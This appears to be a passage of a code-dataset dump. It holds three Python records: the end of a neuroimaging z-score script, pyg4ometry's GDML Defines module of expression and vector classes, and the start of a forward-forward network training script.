gr1_mean= np.mean(gr1_2D,axis=0)\r\n gr2_mean= np.mean(gr2_2D, axis=0)\r\n gr2_std= np.std(gr2_2D, axis=0)\r\n \r\n z_score_2D= (gr1_mean - gr2_mean )/ gr2_std\r\n \r\n return masker.inverse_transform(z_score_2D)\r\n \r\n\r\n\r\n#### Main\r\n\r\n\r\nALFF_path = r\"D:/NeuroImaging/ALFF_test_bash\"\r\n# visit = 'V1'\r\n# fband_label = \"High\"\r\ncontrol = \"Sain\"\r\nclinical= \"DC\"\r\n\r\nfor visit in ['V1', 'V2', 'V3']:\r\n for fband_label in ['High', 'Mid','Low']:\r\n \r\n\r\n \r\n # Define the gray matter mask that is going to be used for all subjects\r\n mask_file='D:/NeuroImaging/binerizedGMmaks-thr4.nii'\r\n \r\n \r\n gr1_dir=f\"{ALFF_path}/{visit}/{clinical}/{fband_label}\"\r\n gr2_dir=f\"{ALFF_path}/{visit}/{control}/{fband_label}\"\r\n \r\n files_gr1 = [os.path.join(gr1_dir,file) for file in os.listdir(gr1_dir) if file.endswith('.nii.gz')]\r\n files_gr2 = [os.path.join(gr2_dir,file) for file in os.listdir(gr2_dir) if file.endswith('.nii.gz')]\r\n \r\n \r\n zscore_img=zscore_maps(files_gr1, files_gr2, mask_file)\r\n zscore_filename= f\"{ALFF_path}/Stats/unthresh_zscore_maps/{visit}_{fband_label}_zscore_map.nii.gz\"\r\n \r\n if not os.path.exists(f\"{ALFF_path}/Stats/unthresh_zscore_maps\"):\r\n os.makedirs(f\"{ALFF_path}/Stats/unthresh_zscore_maps\")\r\n \r\n nib.save(zscore_img, zscore_filename)\r\n\r\n# End the timer\r\nend_time = time.time()\r\n\r\n# Calculate the elapsed time\r\nelapsed_time = end_time - start_time\r\n\r\n# Print the elapsed time\r\nprint(f\"Elapsed time: {elapsed_time} seconds\")\r\n\r\n","repo_name":"Ludoalevesque/tpil_frequency_analysis","sub_path":"untrhresholded_z_score_maps.py","file_name":"untrhresholded_z_score_maps.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8017347637","text":"import numbers as _numbers\nimport numpy as _np\nfrom pyg4ometry.gdml import Units as _Units\n\n\nclass BasicExpression:\n \"\"\"\n Holds an expression as a string and can use the expression parser\n in the supplied registry to evaluate it. A registry is required.\n\n :param name: Name of the expression object\n :type name: str\n :param expressionString: Expression itself as a string e.g. \"12.0\" or \"a + 3.0\"\n :type expressionString: str\n :param registry: The registry object to give context for any variables used.\n :type registry: pyg4ometry.geant4.Registry.Registry\n\n >>> r = pyg4ometry.geant4.Registry()\n >>> a = BasicExpression(\"a\", \"3.0\", r)\n >>> float(a)\n >>> str(a)\n \"\"\"\n\n def __init__(self, name, expressionString, registry):\n self.name = name\n self.expressionString = expressionString\n self.parseTree = None\n self.registry = registry\n\n def eval(self):\n expressionParser = self.registry.getExpressionParser()\n self.parseTree = expressionParser.parse(self.expressionString)\n value = expressionParser.evaluate(self.parseTree, self.registry.defineDict)\n return value\n\n def variables(self, allDependents=False):\n expressionParser = self.registry.getExpressionParser()\n self.parseTree = expressionParser.parse(self.expressionString)\n variables = expressionParser.get_variables(self.parseTree)\n if allDependents:\n dependents = []\n for v in variables:\n if v in self.registry.defineDict:\n define = self.registry.defineDict[v]\n dependents = define.expression.variables() + dependents # prepend\n variables = dependents + variables # prepend\n result = []\n [\n result.append(v) for v in variables if v not in result\n ] # remove duplicates but preserve prepended order\n return result\n\n def simp(self):\n # find all variables of the expression and create\n pass\n\n def __repr__(self):\n return f\"{self.name} : {self.expressionString}\"\n\n def __float__(self):\n return self.eval()\n\n def str(self):\n return \"BasicExpression : \" + self.name + \" : \" + str(float(self))\n\n\ndef upgradeToStringExpression(reg, obj):\n \"\"\"\n Take a float, str, ScalarBase and return string expression.\n\n :param reg: Registry for lookup in define dictionary\n :type reg: Registry\n :param obj: Object to upgrade\n :type obj: str,float,ScalarBase\n :return: String expression\n :rtype: str\n \"\"\"\n if isinstance(obj, _numbers.Number):\n # return str(obj) # number like so return string\n return \"%.15f\" % obj\n\n elif isinstance(obj, str): # or isinstance(obj,unicode) :\n if obj in reg.defineDict: # not sure if this is needed\n return obj\n else:\n e = BasicExpression(\"\", obj, reg)\n try:\n e.eval()\n return obj\n except Exception as err:\n msg = f\"<= Cannot evaluate expression : {obj}\"\n if not err.args:\n err.args = (\"\",)\n err.args = (*err.args, msg)\n raise\n\n elif isinstance(obj, ScalarBase):\n if obj.name in reg.defineDict:\n return obj.name # so a scalar expression in registry\n else:\n return obj.expression.expressionString # so a scalar expression not in registry\n\n else:\n raise ValueError(\"upgradeToStringExpression> unsupported type (\" + str(type(obj)) + \")\")\n\n\ndef evaluateToFloat(reg, obj):\n try:\n if isinstance(obj, str):\n raise AttributeError\n ans = [evaluateToFloat(reg, item) for item in obj.__iter__()]\n except (AttributeError,):\n if isinstance(obj, _numbers.Number) or isinstance(obj, BasicExpression):\n return float(obj)\n elif isinstance(obj, ScalarBase) or isinstance(obj, VectorBase):\n return obj.eval()\n else:\n evaluatable = BasicExpression(\"\", obj, reg)\n ans = float(evaluatable.eval())\n return ans\n\n\ndef upgradeToExpression(reg, obj):\n \"\"\"\n Helper functions that takes a string and returns an expression object or a string\n \"\"\"\n\n # TODO: consider merging into/reusing the upgradeToStringExpression\n as_string = upgradeToStringExpression(reg, obj)\n expression = BasicExpression(\"\", as_string, reg)\n\n try:\n float(expression)\n return expression\n except ValueError:\n return as_string\n\n\ndef upgradeToVector(var, reg, type=\"position\", unit=\"\", addRegistry=False):\n \"\"\"\n Take a list [x,y,z] and create a vector\n\n :param var: input list to create a position, rotation or scale\n :type var: list of str, float, Constant, Quantity, Variable\n :param reg: registry\n :type reg: Registry\n :param type: class type of vector (position, rotation, scale)\n :type type: str\n :param addRegistry: flag to add to registry\n :type addRegistry: bool\n \"\"\"\n # check units\n if type == \"position\" and unit == \"\":\n unit = \"mm\"\n elif type == \"rotation\" and unit == \"\":\n unit = \"rad\"\n\n # check if already a vector type\n if isinstance(var, VectorBase):\n return var\n\n # create appropriate vector type\n if isinstance(var, list) or isinstance(var, _np.ndarray):\n if type == \"position\":\n return Position(\"\", var[0], var[1], var[2], unit, reg, addRegistry)\n elif type == \"rotation\":\n return Rotation(\"\", var[0], var[1], var[2], unit, reg, addRegistry)\n elif type == \"scale\":\n return Scale(\"\", var[0], var[1], var[2], \"none\", reg, addRegistry)\n else:\n print(\"type not defined\")\n\n\ndef upgradeToTransformation(var, reg, addRegistry=False):\n \"\"\"\n Take a list of lists [[rx,ry,rz],[x,y,z]] and create a transformation [Rotation,Position]\n\n :param var: input list to create a transformation\n :type var: list of str, float, Constant, Quantity, Variable\n :param reg: registry\n :type reg: Registry\n :param addRegistry: flag to add to registry\n :type addRegistry: bool\n \"\"\"\n if isinstance(var[0], VectorBase):\n rot = var[0]\n elif isinstance(var[0], list):\n try:\n aunit = var[0][3]\n except:\n aunit = \"\"\n rot = upgradeToVector(var[0], reg, \"rotation\", aunit, addRegistry)\n else:\n msg = f\"Unknown rotation type: {type(var[0])}\"\n raise TypeError(msg)\n\n if isinstance(var[1], VectorBase):\n tra = var[1]\n elif isinstance(var[1], list):\n try:\n lunit = var[1][3]\n except:\n lunit = \"\"\n tra = upgradeToVector(var[1], reg, \"position\", lunit, addRegistry)\n else:\n msg = f\"Unknown position type: {type(var[1])}\"\n raise TypeError(msg)\n\n return [rot, tra]\n\n\nclass DefineBase:\n \"\"\"\n Common bits for a define. Must have a name and a registry. Adding\n to the registry can't be done here as it must be done by the derived type.\n \"\"\"\n\n def __init__(self, name=\"\", registry=None):\n self.name = name\n self.registry = registry\n\n def setName(self, name):\n \"\"\"\n Set name of the object.\n\n :param name: name of object\n :type name: str\n \"\"\"\n self.name = name\n\n def setRegistry(self, registry):\n self.registry = registry\n\n\nclass ScalarBase(DefineBase):\n \"\"\"\n Base class for all scalars (Constants, Quantity, Variable and 'Expression')\n \"\"\"\n\n def __init__(self, typeName, name=\"\", registry=None):\n super().__init__(name, registry)\n self.expression = None\n self._typeName = typeName\n\n def setName(self, name):\n \"\"\"\n Set name of scalar\n\n :param name: name of object\n :type name: str\n \"\"\"\n super().setName(name)\n self.expression.name = f\"expr_{name}\"\n\n def setExpression(self, expressionString):\n \"\"\"\n Take a string and make it into the BasicExpression type for this object.\n\n :param expressionString: Expression to store.\n :type expressionString: str\n \"\"\"\n self.expression = BasicExpression(\n f\"expr_{self.name}\",\n upgradeToStringExpression(self.registry, expressionString),\n self.registry,\n )\n\n def setRegistry(self, registry):\n super().setRegistry(registry)\n if self.expression:\n registry.transferDefine(self)\n\n def eval(self):\n \"\"\"\n Evaluate the expression\n\n :return: numerical evaluation of Constant\n :rtype: float\n \"\"\"\n return self.expression.eval()\n\n def __repr__(self):\n return self._typeName + f\" : {self.name} = {self.expression!s}\"\n\n def __float__(self):\n return self.expression.eval()\n\n def __add__(self, other):\n v1 = upgradeToStringExpression(self.registry, self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n v = Constant(\n f\"var_{v1}_add_{v2}\",\n f\"({v1}) + ({v2})\",\n registry=self.registry,\n addRegistry=False,\n )\n return v\n\n def __sub__(self, other):\n v1 = upgradeToStringExpression(self.registry, self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n v = Constant(\n f\"var_{v1}_sub_{v2}\",\n f\"({v1}) - ({v2})\",\n registry=self.registry,\n addRegistry=False,\n )\n return v\n\n def __rsub__(self, other):\n v1 = upgradeToStringExpression(self.registry, self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n v = Constant(\n f\"var_{v2}_sub_{v1}\",\n f\"({v2}) - ({v1})\",\n registry=self.registry,\n addRegistry=False,\n )\n return v\n\n def __mul__(self, other):\n # check to see if other is a vector\n if isinstance(other, VectorBase):\n return other * self\n\n v1 = upgradeToStringExpression(self.registry, self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n v = Constant(\n f\"var_{v1}_mul_{v2}\",\n f\"({v1}) * ({v2})\",\n registry=self.registry,\n addRegistry=False,\n )\n return v\n\n def __truediv__(self, other):\n v1 = upgradeToStringExpression(self.registry, self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n v = Constant(\n f\"var_{v1}_div_{v2}\",\n f\"({v1}) / ({v2})\",\n registry=self.registry,\n addRegistry=False,\n )\n return v\n\n def __rtruediv__(self, other):\n v1 = upgradeToStringExpression(self.registry, self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n v = Constant(\n f\"var_{v2}_div_{v1}\",\n f\"({v2}) / ({v1})\",\n registry=self.registry,\n addRegistry=False,\n )\n return v\n\n def __neg__(self):\n v1 = upgradeToStringExpression(self.registry, self)\n\n v = Constant(\n f\"var_neg_{v1}\",\n f\"-({v1})\",\n registry=self.registry,\n addRegistry=False,\n )\n return v\n\n def __abs__(self):\n return abs(self)\n\n def __pow__(self, power):\n return pow(self, power)\n\n __radd__ = __add__\n __rmul__ = __mul__\n\n\ndef sin(arg):\n \"\"\"\n Sin of a ScalarBase object, returns a Constant\n\n :param arg: Argument of sin\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"sin_{v1}\",\n f\"sin({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef cos(arg):\n \"\"\"\n Cosine of a ScalarBase object, returns a Constant\n\n :param arg: Argument of cos\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"cos_{v1}\",\n f\"cos({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef tan(arg):\n \"\"\"\n Tangent of a ScalarBase object, returns a Constant\n\n :param arg: Argument of tan\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"tan_{v1}\",\n f\"tan({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef asin(arg):\n \"\"\"\n ArcSin of a ScalarBase object, returns a Constant\n\n :param arg: Argument of asin\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"sin_{v1}\",\n f\"asin({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef acos(arg):\n \"\"\"\n ArcCos of a ScalarBase object, returns a Constant\n\n :param arg: Argument of acos\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"cos_{v1}\",\n f\"acos({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef atan(arg):\n \"\"\"\n ArcTan of a ScalarBase object, returns a Constant\n\n :param arg: Argument of tan\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"tan_{v1}\",\n f\"atan({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef exp(arg):\n \"\"\"\n Exponential of a ScalarBase object, returns a Constant\n\n :param arg: Argument of exp\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"exp_{v1}\",\n f\"exp({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef log(arg):\n \"\"\"\n Natural logarithm of a ScalarBase object, returns a Constant\n\n :param arg: Argument of log\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"log_{v1}\",\n f\"log({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef log10(arg):\n \"\"\"\n Base 10 logarithm of a ScalarBase object, returns a Constant\n\n :param arg: Argument of log10\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"log10_{v1}\",\n f\"log10({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef sqrt(arg):\n \"\"\"\n Square root of a ScalarBase object, returns a Constant\n\n :param arg: Argument of sin\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"sqrt_{v1}\",\n f\"sqrt({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef pow(arg, power):\n \"\"\"\n arg raised to power\n\n :param arg: Argument of x**y\n :type arg: Constant, Quantity, Variable or Expression\n :param power: y\n :type power: float\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"sqrt_{v1}\",\n f\"pow({v1},{power!s})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\ndef abs(arg):\n \"\"\"\n absolute value of arg\n\n :param arg: Argument of abs(arg)\n :type arg: Constant, Quantity, Variable or Expression\n \"\"\"\n v1 = upgradeToStringExpression(arg.registry, arg)\n v = Constant(\n f\"abs_{v1}\",\n f\"abs({v1})\",\n registry=arg.registry,\n addRegistry=False,\n )\n return v\n\n\nclass Constant(ScalarBase):\n \"\"\"\n GDML constant define wrapper object\n\n :param name: of constant for registry\n :type name: str\n :param value: expression for constant\n :type value: float,str,Constant,Quantity,Variable\n :param registry: for storing define\n :type registry: Registry\n :param addRegistry: add constant to registry\n :type addRegistry: bool\n \"\"\"\n\n def __init__(self, name, value, registry, addRegistry=True):\n super().__init__(\"Constant\", name, registry)\n self.expression = BasicExpression(\n f\"expr_{name}\", upgradeToStringExpression(registry, value), registry\n )\n\n if registry and addRegistry:\n registry.addDefine(self)\n\n def __eq__(self, other):\n if isinstance(other, Constant):\n return self.eval() == other.eval()\n else:\n return self.eval() == other\n\n def __ne__(self, other):\n if isinstance(other, Constant):\n return self.eval() != other.eval()\n else:\n return self.eval() != other\n\n def __lt__(self, other):\n if isinstance(other, Constant):\n return self.eval() < other.eval()\n else:\n return self.eval() < other\n\n def __gt__(self, other):\n if isinstance(other, Constant):\n return self.eval() > other.eval()\n else:\n return self.eval() > other\n\n def __le__(self, other):\n if isinstance(other, Constant):\n return self.eval() <= other.eval()\n else:\n return self.eval() <= other\n\n def __ge__(self, other):\n if isinstance(other, Constant):\n return self.eval() >= other.eval()\n else:\n return self.eval() >= other\n\n\nclass Quantity(ScalarBase):\n \"\"\"\n GDML quantity define wrapper object\n\n :param name: of constant for registry\n :type name: str\n :param value: expression for constant\n :type value: float,str,Constant,Quantity,Variable\n :param unit: unit of the quantity\n :type unit: str\n :param type: type of quantity\n :type type: not sure\n :param registry: for storing define\n :type registry: Registry\n :param addRegistry: add constant to registry\n :type addRegistry: bool\n \"\"\"\n\n def __init__(self, name, value, unit, type, registry, addRegistry=True):\n super().__init__(\"Quantity\", name, registry)\n self.unit = unit\n self.type = type\n self.expression = BasicExpression(\n f\"expr_{name}\", upgradeToStringExpression(registry, value), registry\n )\n\n if registry and addRegistry:\n registry.addDefine(self)\n\n def __repr__(self):\n return self._typeName + \" : {} = {} [{}] {}\".format(\n self.name, str(self.expression), self.unit, self.type\n )\n\n\nclass Variable(ScalarBase):\n \"\"\"\n GDML variable define wrapper object\n\n :param name: of constant for registry\n :type name: str\n :param value: expression for constant\n :type value: float,str,Constant,Quantity,Variable\n :param registry: for storing define\n :type registry: Registry\n \"\"\"\n\n def __init__(self, name, value, registry, addRegistry=True):\n super().__init__(\"Variable\", name, registry)\n self.expression = BasicExpression(\n f\"expr_{name}\", upgradeToStringExpression(registry, value), registry\n )\n\n if registry and addRegistry:\n registry.addDefine(self)\n\n\nclass Expression(ScalarBase):\n \"\"\"\n General expression, does not have an analogue in GDML\n\n :param name: of constant for registry\n :type name: str\n :param value: expression for constant\n :type value: float,str,Constant,Quantity,Variable\n :param registry: for storing define\n :type registry: Registry\n :param addRegistry: add constant to registry\n :type addRegistry: bool\n \"\"\"\n\n def __init__(self, name, value, registry, addRegistry=False):\n super().__init__(\"Expression\", name, registry)\n self.expression = BasicExpression(\n f\"expr_{name}\", upgradeToStringExpression(registry, value), registry\n )\n\n if registry and addRegistry:\n registry.addDefine(self)\n\n def __int__(self):\n return int(self.expression.eval())\n\n\nclass VectorBase:\n def __init__(self, typeName, name, registry):\n self._typeName = typeName\n self.name = name\n self.registry = registry\n self.x = None\n self.y = None\n self.z = None\n self.unit = None\n\n def __repr__(self):\n return self._typeName + \" : {} = [{} {} {}]\".format(\n self.name, str(self.x), str(self.y), str(self.z)\n )\n\n def __add__(self, other):\n other = upgradeToVector(other, self.registry, \"position\", \"\", False)\n\n p = Position(\n f\"vec_{self.name}_add_{other.name}\",\n f\"({self.x.expressionString})+({other.x.expressionString})\",\n f\"({self.y.expressionString})+({other.y.expressionString})\",\n f\"({self.z.expressionString})+({other.z.expressionString})\",\n self.unit,\n self.registry,\n False,\n )\n p.registry = self.registry\n p.x.registry = self.registry\n p.y.registry = self.registry\n p.z.registry = self.registry\n return p\n\n def __sub__(self, other):\n other = upgradeToVector(other, self.registry, \"position\", \"\", False)\n\n p = Position(\n f\"vec_{self.name}_sub_{other.name}\",\n f\"({self.x.expressionString})-({other.x.expressionString})\",\n f\"({self.y.expressionString})-({other.y.expressionString})\",\n f\"({self.z.expressionString})-({other.z.expressionString})\",\n self.unit,\n self.registry,\n False,\n )\n p.registry = self.registry\n p.x.registry = self.registry\n p.y.registry = self.registry\n p.z.registry = self.registry\n return p\n\n def __mul__(self, other):\n # v1 = upgradeToStringExpression(self.registry, self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n p = Position(\n f\"vec_{self.name}_mul_{v2}\",\n f\"({self.x.expressionString})*({v2})\",\n f\"({self.y.expressionString})*({v2})\",\n f\"({self.z.expressionString})*({v2})\",\n self.unit,\n self.registry,\n False,\n )\n p.registry = self.registry\n p.x.registry = self.registry\n p.y.registry = self.registry\n p.z.registry = self.registry\n return p\n\n __rmul__ = __mul__\n\n def __truediv__(self, other):\n # v1 = upgradeToStringExpression(self.registry,self)\n v2 = upgradeToStringExpression(self.registry, other)\n\n p = Position(\n f\"vec_{self.name}_div_{v2}\",\n f\"({self.x.expressionString})/({v2})\",\n f\"({self.y.expressionString})/({v2})\",\n f\"({self.z.expressionString})/({v2})\",\n self.unit,\n self.registry,\n False,\n )\n p.registry = self.registry\n p.x.registry = self.registry\n p.y.registry = self.registry\n p.z.registry = self.registry\n return p\n\n def setName(self, name):\n \"\"\"\n Set name of vector\n\n :param name: name of object\n :type name: str\n \"\"\"\n self.name = name\n self.x.registry = self.registry\n self.y.registry = self.registry\n self.z.registry = self.registry\n self.x.name = f\"expr_{name}_vec_x\"\n self.y.name = f\"expr_{name}_vec_y\"\n self.z.name = f\"expr_{name}_vec_z\"\n self.registry.addDefine(self)\n\n def eval(self):\n \"\"\"\n Evaluate vector\n\n :return: numerical evaluation of vector\n :rtype: list of floats\n \"\"\"\n u = _Units.unit(self.unit)\n return [self.x.eval() * u, self.y.eval() * u, self.z.eval() * u]\n\n def nonzero(self):\n \"\"\"\n Evaluate vector\n\n :return: Check if the vector is trivial (all elements zero)\n :rtype: bool\n \"\"\"\n return any(self.eval())\n\n def __getitem__(self, key):\n if key == 0:\n return self.x\n elif key == 1:\n return self.y\n elif key == 2:\n return self.z\n else:\n raise IndexError\n\n def setRegistry(self, registry):\n self.registry = registry\n self.x.registry = self.registry\n self.y.registry = self.registry\n self.z.registry = self.registry\n\n\nclass Position(VectorBase):\n \"\"\"\n GDML position define wrapper object\n\n :param x: x component of position\n :type x: float, Constant, Quantity, Variable\n :param y: y component of position\n :type y: float, Constant, Quantity, Variable\n :param z: z component of position\n :type z: float, Constant, Quantity, Variable\n \"\"\"\n\n def __init__(self, name, x, y, z, unit=\"mm\", registry=None, addRegistry=True):\n super().__init__(\"Position\", name, registry)\n\n if unit is not None:\n if not isinstance(unit, str):\n msg = \"unit must be None or a string\"\n raise ValueError(msg)\n self.unit = unit\n else:\n self.unit = \"mm\"\n\n self.x = BasicExpression(\n f\"expr_pos_x_{name}\",\n upgradeToStringExpression(registry, x),\n registry=registry,\n )\n self.y = BasicExpression(\n f\"expr_pos_y_{name}\",\n upgradeToStringExpression(registry, y),\n registry=registry,\n )\n self.z = BasicExpression(\n f\"expr_pos_z_{name}\",\n upgradeToStringExpression(registry, z),\n registry=registry,\n )\n\n if registry and addRegistry:\n self.registry.addDefine(self)\n\n\nclass Rotation(VectorBase):\n \"\"\"\n GDML rotation define wrapper object\n\n :param rx: rotation around x axis\n :type rx: float, Constant, Quantity, Variable\n :param ry: rotation around y axis\n :type ry: float, Constant, Quantity, Variable\n :param rz: rotation around z axis\n :type rz: float, Constant, Quantity, Variable\n \"\"\"\n\n def __init__(self, name, rx, ry, rz, unit=\"rad\", registry=None, addRegistry=True):\n super().__init__(\"Rotation\", name, registry)\n\n if unit is not None:\n if not isinstance(unit, str):\n msg = \"unit must be None or a string\"\n raise ValueError(msg)\n acceptableUnits = [\"rad\", \"radian\", \"mrad\", \"milliradian\", \"deg\", \"degree\"]\n if unit not in acceptableUnits:\n raise ValueError(\n 'Invalid unit \"'\n + unit\n + '\" in rotation define \"'\n + name\n + '\" - can be one of: '\n + \", \".join(acceptableUnits)\n )\n self.unit = unit\n else:\n self.unit = \"rad\"\n\n self.x = BasicExpression(\n f\"expr_rot_x_{name}\",\n upgradeToStringExpression(registry, rx),\n registry=registry,\n )\n self.y = BasicExpression(\n f\"expr_rot_y_{name}\",\n upgradeToStringExpression(registry, ry),\n registry=registry,\n )\n self.z = BasicExpression(\n f\"expr_rot_z_{name}\",\n upgradeToStringExpression(registry, rz),\n registry=registry,\n )\n\n if registry and addRegistry:\n self.registry.addDefine(self)\n\n\nclass Scale(VectorBase):\n \"\"\"\n GDML scale define wrapper object\n\n :param sx: x component of scale\n :type sx: float, Constant, Quantity, Variable\n :param sy: y component of scale\n :type sy: float, Constant, Quantity, Variable\n :param sz: z component of scale\n :type sz: float, Constant, Quantity, Variable\n \"\"\"\n\n def __init__(self, name, sx, sy, sz, unit=None, registry=None, addRegistry=True):\n super().__init__(\"Scale\", name, registry)\n\n if unit != None:\n if not isinstance(unit, str):\n msg = \"unit must be None or a string\"\n raise ValueError(msg)\n self.unit = unit\n else:\n self.unit = \"none\"\n\n self.x = BasicExpression(\n f\"expr_scl_x_{name}\",\n upgradeToStringExpression(registry, sx),\n registry=registry,\n )\n self.y = BasicExpression(\n f\"expr_scl_y_{name}\",\n upgradeToStringExpression(registry, sy),\n registry=registry,\n )\n self.z = BasicExpression(\n f\"expr_scl_z_{name}\",\n upgradeToStringExpression(registry, sz),\n registry=registry,\n )\n\n if registry and addRegistry:\n self.registry.addDefine(self)\n\n\nclass Matrix:\n \"\"\"\n GDML matrix define wrapper object\n\n :param name: of matrix for registry\n :type name: str\n :param coldim: is number of columns\n :param coldim: int\n :param values: list of values for matrix\n :type values: list of float, str, Constant, Quantity, Variable\n :param registry: for storing define\n :type registry: Registry\n :param addRegistry: add matrix to registry\n :type addRegistry: bool\n \"\"\"\n\n def __init__(self, name, coldim, values, registry=None, addRegistry=True):\n self.name = name\n self.coldim = int(coldim)\n self.registry = registry\n\n self.values = []\n for i, v in enumerate(values):\n self.values.append(\n Expression(\n f\"matrix_expr_idx{i}_val_{name}\",\n upgradeToStringExpression(registry, v),\n registry=registry,\n )\n )\n\n self.values_asarray = _np.array(self.values, dtype=_np.object_)\n if self.coldim > 1:\n self.values_asarray = self.values_asarray.reshape(\n self.coldim, int(len(values) / self.coldim)\n )\n\n if registry and addRegistry:\n self.registry.addDefine(self)\n\n def eval(self):\n \"\"\"\n Evaluate matrix\n\n :return: numerical evaluation of matrix\n :rtype: numpy.array\n \"\"\"\n a = _np.array([e.eval() for e in self.values])\n a = a.reshape(self.coldim, int(len(a) / self.coldim))\n return a\n\n def __repr__(self):\n return f\"Matrix : {self.name} = {self.coldim!s} {self.values!s}\"\n\n def __getitem__(self, key):\n if self.name in self.registry.defineDict:\n stridx = \",\".join([str(v + 1) for v in key])\n return Expression(\"dummy_name\", self.name + \"[\" + stridx + \"]\", self.registry, False)\n else:\n return self.values_asarray[key]\n\n\ndef MatrixFromVectors(e, v, name, registry, eunit=\"eV\", vunit=\"\"):\n \"\"\"\n Creates a GDML Matrix from an energy and a value vector\n\n :param name: of matrix of registry\n :type name: str\n :param e: energy list/vector in units of eunit\n :type e: list or numpy.array - shape (1,)\n :param v: value list/vector in units of vunit\n :type v: list or numpy.array - shape (1,)\n :param registry: for storing define\n :type registry: Registry\n :param eunit: unit for the energy vector (default: eV)\n :type eunit: str\n :param vunit: unit for the value vector (default: unitless)\n :type vunit: str\n \"\"\"\n assert len(e) == len(v)\n eunit = \"*\" + eunit if eunit != \"\" else \"\"\n vunit = \"*\" + vunit if vunit != \"\" else \"\"\n\n e = [str(x) + eunit for x in e]\n v = [str(x) + vunit for x in v]\n\n res = e + v\n res[::2] = e\n res[1::2] = v\n return Matrix(name, 2, res, registry)\n\n\nclass Auxiliary:\n \"\"\"\n Auxiliary information container object\n \"\"\"\n\n # Note that no interpreting or processing is done for auxiliary information\n def __init__(self, auxtype, auxvalue, registry=None, unit=\"\", addRegistry=True):\n self.auxtype = str(auxtype)\n self.auxvalue = str(auxvalue)\n self.auxunit = str(unit)\n self.subaux = []\n self.registry = registry\n if self.registry and addRegistry:\n self.registry.addAuxiliary(self)\n\n def addSubAuxiliary(self, aux):\n \"\"\"\n Add a sub-auxiliary inside the scope of the current auxiliary\n\n :param aux: auxiliary definition\n :type aux: object, gdml.Defines.Auxiliary\n \"\"\"\n if not isinstance(aux, Auxiliary):\n msg = \"Added object must be a gdml.Defines.Auxiliary instance.\"\n raise ValueError(msg)\n self.subaux.append(aux)\n","repo_name":"g4edge/pyg4ometry","sub_path":"src/pyg4ometry/gdml/Defines.py","file_name":"Defines.py","file_ext":"py","file_size_in_byte":32459,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"2919351015","text":"import resource\n\nimport torch\nimport torch.utils.data\nfrom forward_forward import train_with_forward_forward_algorithm\n\n\ndef train(\n n_layers: int,\n hidden_size: int,\n lr: float,\n device: str,\n epochs: int,\n batch_size: int,\n theta: float,\n save_memory_profile: str = None,\n):\n \"\"\"Train FCNetFF using MNISt dataset.\n \"\"\"\n batch_size = batch_size // 2 # we will double the batch size to include negative examples\n train_with_forward_forward_algorithm(\n model_type=\"progressive\",\n n_layers=n_layers,\n hidden_size=hidden_size,\n lr=lr,\n device=device,\n epochs=epochs,\n batch_size=batch_size,\n theta=theta,\n )\n if save_memory_profile is not None:\n if torch.cuda.is_available() and \"cuda\" in device:\n memory_allocated = torch.cuda.max_memory_allocated(device=device)\n else:\n memory_allocated = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n with open(save_memory_profile, \"w\") as f:\n f.write(f\"{memory_allocated}\")\n\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser(description='Train FCNetFF')\n parser.add_argument('--n_layers', type=int, default=4,\n help='number of hidden layers')\n parser.add_argument('--hidden_size', type=int, default=100,\n help='number of hidden units')\n parser.add_argument('--lr', type=float, default=0.01,\n help='learning rate')\n parser.add_argument('--device', type=str, default=\"cpu\",\n help='device to use')\n parser.add_argument('--epochs', type=int, default=50,\n help='number of epochs')\n parser.add_argument('--batch_size', type=int, default=64,\n help='batch size')\n parser.add_argument('--theta', type=float, default=2.,\n help='theta parameter')\n parser.add_argument(\"--save_memory_profile\", type=str, default=None)\n args = parser.parse_args()\n 